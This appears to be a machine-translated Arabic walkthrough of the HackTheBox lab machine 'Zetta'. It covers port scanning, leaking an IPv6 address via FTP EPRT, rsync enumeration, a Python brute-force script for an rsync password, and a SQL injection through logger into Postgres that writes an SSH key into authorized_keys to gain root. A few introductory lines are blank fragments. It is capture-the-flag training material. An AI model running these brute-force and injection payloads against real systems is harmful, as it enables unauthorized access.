هاك ذا بوكس ​​- زيتا تجول FXP و IPv6 و rsync و Postgres و SQLi

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، نتعلم عنوان خادم IPv6 باستخدام FXP ، ونعمل مع rsync ، ونكتب أيضًا مفتاح ssh باستخدام إدخال SQL عند معالجة السجلات في Postgres.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.156 ، والذي أضيفه إلى / etc / hosts.

10.10.10.156    zetta.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

صورة

بعد ذلك ، تحتاج إلى جمع المزيد من المعلومات حول المنافذ المعروفة. للقيام بذلك ، استخدم nmap مع الخيار -A.

nmap -A zetta.htb -p21,22,80

صورة

نلقي نظرة على ما هو على بروتوكول نقل الملفات.

صورة

نتيجة لذلك ، تقول اللافتة أنه يمكننا الاتصال عبر IPv6. دعونا نرى ما هو موجود على خادم الويب.

صورة

نلاحظ بروتوكول FTP الأصلي مع دعم FXP. FXP هي طريقة لنقل الملفات بين خادمين FTP مباشرة ، دون تنزيلهما على جهاز الكمبيوتر الخاص بك. أثناء جلسة FXP ، يفتح العميل اتصالين FTP إلى خادمين مختلفين ، يطلب ملفًا على الخادم الأول ، يشير إلى عنوان IP للخادم الثاني في أمر PORT.

صورة

بالتمرير قليلاً ، نجد اسم المستخدم وكلمة المرور لـ FTP. وبعد إدخال بيانات الاعتماد ، قيل لنا أن هناك دعمًا لـ FXP.

صورة

ولكن إما أنه لا توجد ملفات على الخادم ، أو أنها لا تعطى لنا. ولكن نظرًا لأن هذا الخادم يدعم FXP ، يمكننا التظاهر بأننا خادم آخر ، فقد بدأ الخادم الهدف في الاتصال. وبالتالي ، سنكشف عن عنوان IPv6 الخاص به وفقًا لـ RFC 2428.

صورة

صورة

يعد ذلك ضروريًا لإجراء مزيد من المسح ، حيث قد يكون لدى المضيف خدمات تقبل اتصال IPv6 فقط. لذلك نحن بحاجة لمعرفة عنواننا.

صورة

باستخدام tcpdump ، سوف نتتبع حركة المرور التي تذهب إلى المنفذ 4321.

صورة

وباستخدام netcat ، نتصل بـ ftp ونحدد بيانات الاعتماد.

nc zetta.htb 21

صورة

والآن نرسل طلب EPRT.

صورة

ونلاحظ عنوان IPv6 للمضيف الهدف.

صورة

الآن اكتبه إلى / etc / hosts بدلاً من IPv4 وافحص جميع المنافذ باستخدام nmap ، مضيفًا خيار -6.

nmap -6 zetta.htb -p-

صورة

الآن نحصل على مزيد من المعلومات باستخدام الخيار -A.

nmap -A -6 zetta.htb -p21,22,80,8730

صورة

نقطة الدخول


Rsync (التزامن عن بعد) هو برنامج للأنظمة الشبيهة بـ UNIX يقوم بمزامنة الملفات والأدلة في مكانين مع تقليل حركة المرور. يمكن لـ Rsync نسخ أو عرض محتويات الدليل ونسخ الملفات ، بشكل اختياري باستخدام الضغط والعودة. يقوم rsync بنقل تغييرات الملفات فقط ، مما يؤثر على أداء البرنامج. دعنا نرى قائمة الوحدات.

rsync -6 --list-only rsync://zetta.htb:8730/

صورة

بعض الدلائل الهامة مفقودة من هذه القائمة. ولكن الدليل الخ متاح.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

صورة

نقرأ rsyncd.conf ، لهذا الملف على الجهاز المحلي.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

صورة

هناك وحدة مخفية في config - home_roy ، والتي تشير إلى دليل المستخدم الرئيسي للمستخدم ، وهي محمية بكلمة مرور من rsyncd.secrets ، ولكنها غير متاحة لنا.

rsync -6 rsync://zetta.htb:8730/home_roy/

صورة

المستعمل


عندما لم يكن هناك المزيد من الأفكار ، كان علي فرز كلمة المرور. لهذا ، تم كتابة رمز Python وتم استخدام قائمة كلمات المرور من القوائم السرية.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

صورة

الآن بعد أن عرفنا كلمة المرور ، دعنا ننشئ مفتاح ssh ونحمله على الخادم.

صورة

صورة

صورة

ومن خلال الاتصال عبر SSH بهذا المفتاح ، نأخذ رمز المستخدم المميز.

صورة

جذر


بجانب الرمز المميز يكمن تلميح - قائمة المهام.

صورة

دعونا نفتحها.

todo .tudu.xml

صورة

دعونا نرى جميع المهام المخطط لها. يستخدم الخادم بوابة.

صورة

في هذه الحالة ، يتم حفظ سجلات الأحداث في قاعدة البيانات.

صورة

وتخطط أيضًا لتغيير كلمة المرور ، والتي تبدو في الوقت الحالي وكأنها نوع معين.

صورة

أول شيء نقوم به هو الذهاب إلى git ، لأنه يمكننا أن نرى تاريخ تغييرات التكوين. البحث عن كافة دلائل .git على الخادم.

صورة

نحن مهتمون أكثر بمجلة rsyslog ، لذلك أقوم بنسخ مستودعها بالكامل إلى الجهاز المحلي.

صورة

الآن نذهب إلى الدليل مع تحميل المستودع واستخدام gitk (الواجهة الرسومية تافهة ، ولكنها مريحة).

صورة

نرى أوراق الاعتماد ، ولكن إذا استخدمناها ، فإننا نفشل. أيضا في المستودع يمكنك رؤية القالب الذي يتم بموجبه وضع السجلات في قاعدة البيانات. يتم حفظ السجلات في /var/log/postgresql/postgresql-11-main.log السجل ، والذي يمكن الوصول إليه من قبل مجموعة adm التي نحن أعضاء فيها.

صورة

نظرًا لأننا نتعامل مع قاعدة بيانات ، يمكنك تجربة الحقن. سننشئ أحداثًا للتسجيل باستخدام المسجل ، ونتتبع في الوقت نفسه في الوقت الفعلي ما يدخل إلى السجل (من أجل الراحة ، يمكنك استخدام qterminal مع نافذة مقسمة) باستخدام الساعة.

watch -n 1 cat postgresql-11-main.log

وأرسل الحدث.

logger -p local7.info "'"

صورة

ويحدث خطأ يشير إلى حقنة محتملة. بالنظر إلى / etc / passwd ، نجد أن مستخدم خدمة postgres لديه غلاف / bin / bash.

صورة

وبالتالي ، يمكننا تسجيل الدخول عبر ssh. سيتيح لنا هذا الوصول إلى ملف postgres ، بما في ذلك محفوظات الأوامر. دعونا نتحقق مما إذا كان بإمكاننا كتابة ملف باستخدام الحقن.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

صورة

غرامة. سننشئ مفتاح ssh ونكتب المفتاح العام للخادم في الدليل الرئيسي لخدمة مستخدم postgres: /var/lib/postgresql/.ssh/authorized_keys.

صورة

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

الآن دعنا نذهب ssh.

ssh -i psg_id_rsa postgres@zetta.htb

صورة

نحن ننظر إلى تاريخ postgres.

صورة

ونجد كلمة المرور. نذكر قاعدة كلمة المرور من قائمة المهام ، ونستبدل المستخدم بالجذر ، ونقوم بتسجيل الدخول.

صورة

نحن مع حقوق كاملة!

يمكنك الانضمام إلينا على Telegram . دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles